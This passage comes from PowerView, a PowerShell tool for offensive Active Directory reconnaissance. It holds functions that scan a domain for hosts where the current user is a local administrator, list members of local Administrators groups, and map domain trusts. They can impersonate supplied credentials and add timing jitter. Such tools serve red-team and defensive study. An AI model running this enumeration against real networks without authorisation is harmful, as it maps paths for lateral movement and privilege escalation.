Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 18779 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken 18780 } 18781 } 18782 else { 18783 Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" 18784 18785 # if we're using threading, kick off the script block with New-ThreadedFunction 18786 $ScriptParams = @{ 18787 'Include' = $Include 18788 'ExcludedShares' = $ExcludedShares 18789 'OfficeDocs' = $OfficeDocs 18790 'ExcludeHidden' = $ExcludeHidden 18791 'FreshEXEs' = $FreshEXEs 18792 'CheckWriteAccess' = $CheckWriteAccess 18793 'TokenHandle' = $LogonToken 18794 } 18795 18796 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 18797 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 18798 } 18799 } 18800 18801 END { 18802 if ($LogonToken) { 18803 Invoke-RevertToSelf -TokenHandle $LogonToken 18804 } 18805 } 18806 } 18807 18808 18809 function Find-LocalAdminAccess { 18810 <# 18811 .SYNOPSIS 18812 18813 Finds machines on the local domain where the current user has local administrator access. 18814 18815 Author: Will Schroeder (@harmj0y) 18816 License: BSD 3-Clause 18817 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction 18818 18819 .DESCRIPTION 18820 18821 This function enumerates all machines on the current (or specified) domain 18822 using Get-DomainComputer, and for each computer it checks if the current user 18823 has local administrator access using Test-AdminAccess. If -Credential is passed, 18824 then Invoke-UserImpersonation is used to impersonate the specified user 18825 before enumeration, reverting after with Invoke-RevertToSelf. 18826 18827 Idea adapted from the local_admin_search_enum post module in Metasploit written by: 18828 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 18829 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 18830 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' 18831 18832 .PARAMETER ComputerName 18833 18834 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 18835 If -ComputerName is not passed, the default behavior is to enumerate all machines 18836 in the domain returned by Get-DomainComputer. 18837 18838 .PARAMETER ComputerDomain 18839 18840 Specifies the domain to query for computers, defaults to the current domain. 18841 18842 .PARAMETER ComputerLDAPFilter 18843 18844 Specifies an LDAP query string that is used to search for computer objects. 18845 18846 .PARAMETER ComputerSearchBase 18847 18848 Specifies the LDAP source to search through for computers, 18849 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 18850 18851 .PARAMETER ComputerOperatingSystem 18852 18853 Search computers with a specific operating system, wildcards accepted. 18854 18855 .PARAMETER ComputerServicePack 18856 18857 Search computers with a specific service pack, wildcards accepted. 18858 18859 .PARAMETER ComputerSiteName 18860 18861 Search computers in the specific AD Site name, wildcards accepted. 18862 18863 .PARAMETER CheckShareAccess 18864 18865 Switch. Only display found shares that the local user has access to. 18866 18867 .PARAMETER Server 18868 18869 Specifies an Active Directory server (domain controller) to bind to. 18870 18871 .PARAMETER SearchScope 18872 18873 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 18874 18875 .PARAMETER ResultPageSize 18876 18877 Specifies the PageSize to set for the LDAP searcher object. 18878 18879 .PARAMETER ServerTimeLimit 18880 18881 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 18882 18883 .PARAMETER Tombstone 18884 18885 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 18886 18887 .PARAMETER Credential 18888 18889 A [Management.Automation.PSCredential] object of alternate credentials 18890 for connection to the target domain and target systems. 18891 18892 .PARAMETER Delay 18893 18894 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 18895 18896 .PARAMETER Jitter 18897 18898 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 18899 18900 .PARAMETER Threads 18901 18902 The number of threads to use for user searching, defaults to 20. 18903 18904 .EXAMPLE 18905 18906 Find-LocalAdminAccess 18907 18908 Finds machines in the current domain the current user has admin access to. 18909 18910 .EXAMPLE 18911 18912 Find-LocalAdminAccess -Domain dev.testlab.local 18913 18914 Finds machines in the dev.testlab.local domain the current user has admin access to. 18915 18916 .EXAMPLE 18917 18918 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 18919 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 18920 Find-LocalAdminAccess -Domain testlab.local -Credential $Cred 18921 18922 Finds machines in the testlab.local domain that the user with the specified -Credential 18923 has admin access to. 18924 18925 .OUTPUTS 18926 18927 String 18928 18929 Computer dnshostnames the current user has administrative access to. 18930 #> 18931 18932 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 18933 [OutputType([String])] 18934 Param( 18935 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 18936 [Alias('DNSHostName')] 18937 [String[]] 18938 $ComputerName, 18939 18940 [ValidateNotNullOrEmpty()] 18941 [String] 18942 $ComputerDomain, 18943 18944 [ValidateNotNullOrEmpty()] 18945 [String] 18946 $ComputerLDAPFilter, 18947 18948 [ValidateNotNullOrEmpty()] 18949 [String] 18950 $ComputerSearchBase, 18951 18952 [ValidateNotNullOrEmpty()] 18953 [Alias('OperatingSystem')] 18954 [String] 18955 $ComputerOperatingSystem, 18956 18957 [ValidateNotNullOrEmpty()] 18958 [Alias('ServicePack')] 18959 [String] 18960 $ComputerServicePack, 18961 18962 [ValidateNotNullOrEmpty()] 18963 [Alias('SiteName')] 18964 [String] 18965 $ComputerSiteName, 18966 18967 [Switch] 18968 $CheckShareAccess, 18969 18970 [ValidateNotNullOrEmpty()] 18971 [Alias('DomainController')] 18972 [String] 18973 $Server, 18974 18975 [ValidateSet('Base', 'OneLevel', 'Subtree')] 18976 [String] 18977 $SearchScope = 'Subtree', 18978 18979 [ValidateRange(1, 10000)] 18980 [Int] 18981 $ResultPageSize = 200, 18982 18983 [ValidateRange(1, 10000)] 18984 [Int] 18985 $ServerTimeLimit, 18986 18987 [Switch] 18988 $Tombstone, 18989 18990 [Management.Automation.PSCredential] 18991 [Management.Automation.CredentialAttribute()] 18992 $Credential = [Management.Automation.PSCredential]::Empty, 18993 18994 [ValidateRange(1, 10000)] 18995 [Int] 18996 $Delay = 0, 18997 18998 [ValidateRange(0.0, 1.0)] 18999 [Double] 19000 $Jitter = .3, 19001 19002 [Int] 19003 [ValidateRange(1, 100)] 19004 $Threads = 20 19005 ) 19006 19007 BEGIN { 19008 $ComputerSearcherArguments = @{ 19009 'Properties' = 'dnshostname' 19010 } 19011 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 19012 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 19013 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 19014 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } 19015 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 19016 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 19017 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 19018 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 19019 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 19020 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 19021 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 19022 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 19023 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 19024 19025 if ($PSBoundParameters['ComputerName']) { 19026 $TargetComputers = $ComputerName 19027 } 19028 else { 19029 Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' 19030 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 19031 } 19032 Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" 19033 if ($TargetComputers.Length -eq 0) { 19034 throw '[Find-LocalAdminAccess] No hosts found to enumerate' 19035 } 19036 19037 # the host enumeration block we're using to enumerate all servers 19038 $HostEnumBlock = { 19039 Param($ComputerName, $TokenHandle) 19040 19041 if ($TokenHandle) { 19042 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation 19043 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet 19044 } 19045 19046 ForEach ($TargetComputer in $ComputerName) { 19047 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 19048 if ($Up) { 19049 # check if the current user has local admin access to this server 19050 $Access = Test-AdminAccess -ComputerName $TargetComputer 19051 if ($Access.IsAdmin) { 19052 $TargetComputer 19053 } 19054 } 19055 } 19056 19057 if ($TokenHandle) { 19058 Invoke-RevertToSelf 19059 } 19060 } 19061 19062 $LogonToken = $Null 19063 if ($PSBoundParameters['Credential']) { 19064 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 19065 $LogonToken = Invoke-UserImpersonation -Credential $Credential 19066 } 19067 else { 19068 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet 19069 } 19070 } 19071 } 19072 19073 PROCESS { 19074 # only ignore threading if -Delay is passed 19075 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 19076 19077 Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" 19078 Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" 19079 $Counter = 0 19080 $RandNo = New-Object System.Random 19081 19082 ForEach ($TargetComputer in $TargetComputers) { 19083 $Counter = $Counter + 1 19084 19085 # sleep for our semi-randomized interval 19086 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 19087 19088 Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 19089 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken 19090 } 19091 } 19092 else { 19093 Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" 19094 19095 # if we're using threading, kick off the script block with New-ThreadedFunction 19096 $ScriptParams = @{ 19097 'TokenHandle' = $LogonToken 19098 } 19099 19100 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 19101 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 19102 } 19103 } 19104 } 19105 19106 19107 function Find-DomainLocalGroupMember { 19108 <# 19109 .SYNOPSIS 19110 19111 Enumerates the members of specified local group (default administrators) 19112 for all the targeted machines on the current (or specified) domain. 19113 19114 Author: Will Schroeder (@harmj0y) 19115 License: BSD 3-Clause 19116 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction 19117 19118 .DESCRIPTION 19119 19120 This function enumerates all machines on the current (or specified) domain 19121 using Get-DomainComputer, and enumerates the members of the specified local 19122 group (default of Administrators) for each machine using Get-NetLocalGroupMember. 19123 By default, the API method is used, but this can be modified with '-Method winnt' 19124 to use the WinNT service provider. 19125 19126 .PARAMETER ComputerName 19127 19128 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 19129 If -ComputerName is not passed, the default behavior is to enumerate all machines 19130 in the domain returned by Get-DomainComputer. 19131 19132 .PARAMETER ComputerDomain 19133 19134 Specifies the domain to query for computers, defaults to the current domain. 19135 19136 .PARAMETER ComputerLDAPFilter 19137 19138 Specifies an LDAP query string that is used to search for computer objects. 19139 19140 .PARAMETER ComputerSearchBase 19141 19142 Specifies the LDAP source to search through for computers, 19143 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 19144 19145 .PARAMETER ComputerOperatingSystem 19146 19147 Search computers with a specific operating system, wildcards accepted. 19148 19149 .PARAMETER ComputerServicePack 19150 19151 Search computers with a specific service pack, wildcards accepted. 19152 19153 .PARAMETER ComputerSiteName 19154 19155 Search computers in the specific AD Site name, wildcards accepted. 19156 19157 .PARAMETER GroupName 19158 19159 The local group name to query for users. If not given, it defaults to "Administrators". 19160 19161 .PARAMETER Method 19162 19163 The collection method to use, defaults to 'API', also accepts 'WinNT'. 19164 19165 .PARAMETER Server 19166 19167 Specifies an Active Directory server (domain controller) to bind to. 19168 19169 .PARAMETER SearchScope 19170 19171 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 19172 19173 .PARAMETER ResultPageSize 19174 19175 Specifies the PageSize to set for the LDAP searcher object. 19176 19177 .PARAMETER ServerTimeLimit 19178 19179 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 19180 19181 .PARAMETER Tombstone 19182 19183 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 19184 19185 .PARAMETER Credential 19186 19187 A [Management.Automation.PSCredential] object of alternate credentials 19188 for connection to the target domain and target systems. 19189 19190 .PARAMETER Delay 19191 19192 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 19193 19194 .PARAMETER Jitter 19195 19196 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 19197 19198 .PARAMETER Threads 19199 19200 The number of threads to use for user searching, defaults to 20. 19201 19202 .EXAMPLE 19203 19204 Find-DomainLocalGroupMember 19205 19206 Enumerates the local group memberships for all reachable machines in the current domain. 19207 19208 .EXAMPLE 19209 19210 Find-DomainLocalGroupMember -Domain dev.testlab.local 19211 19212 Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. 19213 19214 .EXAMPLE 19215 19216 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 19217 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 19218 Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred 19219 19220 Enumerates the local group memberships for all reachable machines the dev.testlab.local 19221 domain using the alternate credentials. 19222 19223 .OUTPUTS 19224 19225 PowerView.LocalGroupMember.API 19226 19227 Custom PSObject with translated group property fields from API results. 19228 19229 PowerView.LocalGroupMember.WinNT 19230 19231 Custom PSObject with translated group property fields from WinNT results. 19232 #> 19233 19234 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 19235 [OutputType('PowerView.LocalGroupMember.API')] 19236 [OutputType('PowerView.LocalGroupMember.WinNT')] 19237 Param( 19238 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 19239 [Alias('DNSHostName')] 19240 [String[]] 19241 $ComputerName, 19242 19243 [ValidateNotNullOrEmpty()] 19244 [String] 19245 $ComputerDomain, 19246 19247 [ValidateNotNullOrEmpty()] 19248 [String] 19249 $ComputerLDAPFilter, 19250 19251 [ValidateNotNullOrEmpty()] 19252 [String] 19253 $ComputerSearchBase, 19254 19255 [ValidateNotNullOrEmpty()] 19256 [Alias('OperatingSystem')] 19257 [String] 19258 $ComputerOperatingSystem, 19259 19260 [ValidateNotNullOrEmpty()] 19261 [Alias('ServicePack')] 19262 [String] 19263 $ComputerServicePack, 19264 19265 [ValidateNotNullOrEmpty()] 19266 [Alias('SiteName')] 19267 [String] 19268 $ComputerSiteName, 19269 19270 [Parameter(ValueFromPipelineByPropertyName = $True)] 19271 [ValidateNotNullOrEmpty()] 19272 [String] 19273 $GroupName = 'Administrators', 19274 19275 [ValidateSet('API', 'WinNT')] 19276 [Alias('CollectionMethod')] 19277 [String] 19278 $Method = 'API', 19279 19280 [ValidateNotNullOrEmpty()] 19281 [Alias('DomainController')] 19282 [String] 19283 $Server, 19284 19285 [ValidateSet('Base', 'OneLevel', 'Subtree')] 19286 [String] 19287 $SearchScope = 'Subtree', 19288 19289 [ValidateRange(1, 10000)] 19290 [Int] 19291 $ResultPageSize = 200, 19292 19293 [ValidateRange(1, 10000)] 19294 [Int] 19295 $ServerTimeLimit, 19296 19297 [Switch] 19298 $Tombstone, 19299 19300 [Management.Automation.PSCredential] 19301 [Management.Automation.CredentialAttribute()] 19302 $Credential = [Management.Automation.PSCredential]::Empty, 19303 19304 [ValidateRange(1, 10000)] 19305 [Int] 19306 $Delay = 0, 19307 19308 [ValidateRange(0.0, 1.0)] 19309 [Double] 19310 $Jitter = .3, 19311 19312 [Int] 19313 [ValidateRange(1, 100)] 19314 $Threads = 20 19315 ) 19316 19317 BEGIN { 19318 $ComputerSearcherArguments = @{ 19319 'Properties' = 'dnshostname' 19320 } 19321 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 19322 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 19323 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 19324 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } 19325 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 19326 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 19327 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 19328 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 19329 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 19330 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 19331 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 19332 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 19333 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 19334 19335 if ($PSBoundParameters['ComputerName']) { 19336 $TargetComputers = $ComputerName 19337 } 19338 else { 19339 Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' 19340 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 19341 } 19342 Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" 19343 if ($TargetComputers.Length -eq 0) { 19344 throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' 19345 } 19346 19347 # the host enumeration block we're using to enumerate all servers 19348 $HostEnumBlock = { 19349 Param($ComputerName, $GroupName, $Method, $TokenHandle) 19350 19351 # Add check if user defaults to/selects "Administrators" 19352 if ($GroupName -eq "Administrators") { 19353 $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) 19354 $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] 19355 } 19356 19357 if ($TokenHandle) { 19358 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation 19359 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet 19360 } 19361 19362 ForEach ($TargetComputer in $ComputerName) { 19363 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 19364 if ($Up) { 19365 $NetLocalGroupMemberArguments = @{ 19366 'ComputerName' = $TargetComputer 19367 'Method' = $Method 19368 'GroupName' = $GroupName 19369 } 19370 Get-NetLocalGroupMember @NetLocalGroupMemberArguments 19371 } 19372 } 19373 19374 if ($TokenHandle) { 19375 Invoke-RevertToSelf 19376 } 19377 } 19378 19379 $LogonToken = $Null 19380 if ($PSBoundParameters['Credential']) { 19381 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 19382 $LogonToken = Invoke-UserImpersonation -Credential $Credential 19383 } 19384 else { 19385 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet 19386 } 19387 } 19388 } 19389 19390 PROCESS { 19391 # only ignore threading if -Delay is passed 19392 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 19393 19394 Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" 19395 Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" 19396 $Counter = 0 19397 $RandNo = New-Object System.Random 19398 19399 ForEach ($TargetComputer in $TargetComputers) { 19400 $Counter = $Counter + 1 19401 19402 # sleep for our semi-randomized interval 19403 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 19404 19405 Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 19406 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken 19407 } 19408 } 19409 else { 19410 Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" 19411 19412 # if we're using threading, kick off the script block with New-ThreadedFunction 19413 $ScriptParams = @{ 19414 'GroupName' = $GroupName 19415 'Method' = $Method 19416 'TokenHandle' = $LogonToken 19417 } 19418 19419 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 19420 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 19421 } 19422 } 19423 19424 END { 19425 if ($LogonToken) { 19426 Invoke-RevertToSelf -TokenHandle $LogonToken 19427 } 19428 } 19429 } 19430 19431 19432 ######################################################## 19433 # 19434 # Domain trust functions below. 19435 # 19436 ######################################################## 19437 19438 function Get-DomainTrust { 19439 <# 19440 .SYNOPSIS 19441 19442 Return all domain trusts for the current domain or a specified domain. 19443 19444 Author: Will Schroeder (@harmj0y) 19445 License: BSD 3-Clause 19446 Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect 19447 19448 .DESCRIPTION 19449 19450 This function will enumerate domain trust relationships for the current (or a remote) 19451 domain using a number of methods. By default, and LDAP search using the filter 19452 '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified 19453 LDAP is used as well. If the -NET flag is specified, the .NET method 19454 GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain 19455 object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is 19456 used to enumerate instead. 19457 19458 .PARAMETER Domain 19459 19460 Specifies the domain to query for trusts, defaults to the current domain. 19461 19462 .PARAMETER API 19463 19464 Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in 19465 .NET methods. 19466 19467 .PARAMETER NET 19468 19469 Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. 19470 19471 .PARAMETER LDAPFilter 19472 19473 Specifies an LDAP query string that is used to filter Active Directory objects. 19474 19475 .PARAMETER Properties 19476 19477 Specifies the properties of the output object to retrieve from the server. 19478 19479 .PARAMETER SearchBase 19480 19481 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 19482 Useful for OU queries. 19483 19484 .PARAMETER Server 19485 19486 Specifies an Active Directory server (domain controller) to bind to. 19487 19488 .PARAMETER SearchScope 19489 19490 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 19491 19492 .PARAMETER ResultPageSize 19493 19494 Specifies the PageSize to set for the LDAP searcher object. 19495 19496 .PARAMETER ServerTimeLimit 19497 19498 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 19499 19500 .PARAMETER Tombstone 19501 19502 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 19503 19504 .PARAMETER FindOne 19505 19506 Only return one result object. 19507 19508 .PARAMETER Credential 19509 19510 A [Management.Automation.PSCredential] object of alternate credentials 19511 for connection to the target domain. 19512 19513 .EXAMPLE 19514 19515 Get-DomainTrust 19516 19517 Return domain trusts for the current domain using built in .LDAP methods. 19518 19519 .EXAMPLE 19520 19521 Get-DomainTrust -NET -Domain "prod.testlab.local" 19522 19523 Return domain trusts for the "prod.testlab.local" domain using .NET methods 19524 19525 .EXAMPLE 19526 19527 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 19528 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 19529 Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred 19530 19531 Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP 19532 queries, binding to the PRIMARY.testlab.local server for queries, and using the specified 19533 alternate credenitals. 19534 19535 .EXAMPLE 19536 19537 Get-DomainTrust -API -Domain "prod.testlab.local" 19538 19539 Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. 19540 19541 .OUTPUTS 19542 19543 PowerView.DomainTrust.LDAP 19544 19545 Custom PSObject with translated domain LDAP trust result fields (default). 19546 19547 PowerView.DomainTrust.NET 19548 19549 A TrustRelationshipInformationCollection returned when using .NET methods. 19550 19551 PowerView.DomainTrust.API 19552 19553 Custom PSObject with translated domain API trust result fields. 19554 #> 19555 19556 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 19557 [OutputType('PowerView.DomainTrust.NET')] 19558 [OutputType('PowerView.DomainTrust.LDAP')] 19559 [OutputType('PowerView.DomainTrust.API')] 19560 [CmdletBinding(DefaultParameterSetName = 'LDAP')] 19561 Param( 19562 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 19563 [Alias('Name')] 19564 [ValidateNotNullOrEmpty()] 19565 [String] 19566 $Domain, 19567 19568 [Parameter(ParameterSetName = 'API')] 19569 [Switch] 19570 $API, 19571 19572 [Parameter(ParameterSetName = 'NET')] 19573 [Switch] 19574 $NET, 19575 19576 [Parameter(ParameterSetName = 'LDAP')] 19577 [ValidateNotNullOrEmpty()] 19578 [Alias('Filter')] 19579 [String] 19580 $LDAPFilter, 19581 19582 [Parameter(ParameterSetName = 'LDAP')] 19583 [ValidateNotNullOrEmpty()] 19584 [String[]] 19585 $Properties, 19586 19587 [Parameter(ParameterSetName = 'LDAP')] 19588 [ValidateNotNullOrEmpty()] 19589 [Alias('ADSPath')] 19590 [String] 19591 $SearchBase, 19592 19593 [Parameter(ParameterSetName = 'LDAP')] 19594 [Parameter(ParameterSetName = 'API')] 19595 [ValidateNotNullOrEmpty()] 19596 [Alias('DomainController')] 19597 [String] 19598 $Server, 19599 19600 [Parameter(ParameterSetName = 'LDAP')] 19601 [ValidateSet('Base', 'OneLevel', 'Subtree')] 19602 [String] 19603 $SearchScope = 'Subtree', 19604 19605 [Parameter(ParameterSetName = 'LDAP')] 19606 [ValidateRange(1, 10000)] 19607 [Int] 19608 $ResultPageSize = 200, 19609 19610 [Parameter(ParameterSetName = 'LDAP')] 19611 [ValidateRange(1, 10000)] 19612 [Int] 19613 $ServerTimeLimit, 19614 19615 [Parameter(ParameterSetName = 'LDAP')] 19616 [Switch] 19617 $Tombstone, 19618 19619 [Alias('ReturnOne')] 19620 [Switch] 19621 $FindOne, 19622 19623 [Parameter(ParameterSetName = 'LDAP')] 19624 [Management.Automation.PSCredential] 19625 [Management.Automation.CredentialAttribute()] 19626 $Credential = [Management.Automation.PSCredential]::Empty 19627 ) 19628 19629 BEGIN { 19630 $TrustAttributes = @{ 19631 [uint32]'0x00000001' = 'NON_TRANSITIVE' 19632 [uint32]'0x00000002' = 'UPLEVEL_ONLY' 19633 [uint32]'0x00000004' = 'FILTER_SIDS' 19634 [uint32]'0x00000008' = 'FOREST_TRANSITIVE' 19635 [uint32]'0x00000010' = 'CROSS_ORGANIZATION' 19636 [uint32]'0x00000020' = 'WITHIN_FOREST' 19637 [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' 19638 [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' 19639 [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' 19640 [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' 19641 [uint32]'0x00000400' = 'PIM_TRUST' 19642 } 19643 19644 $LdapSearcherArguments = @{} 19645 if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } 19646 if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } 19647 if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } 19648 if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } 19649 if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } 19650 if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } 19651 if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } 19652 if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 19653 if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } 19654 if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = 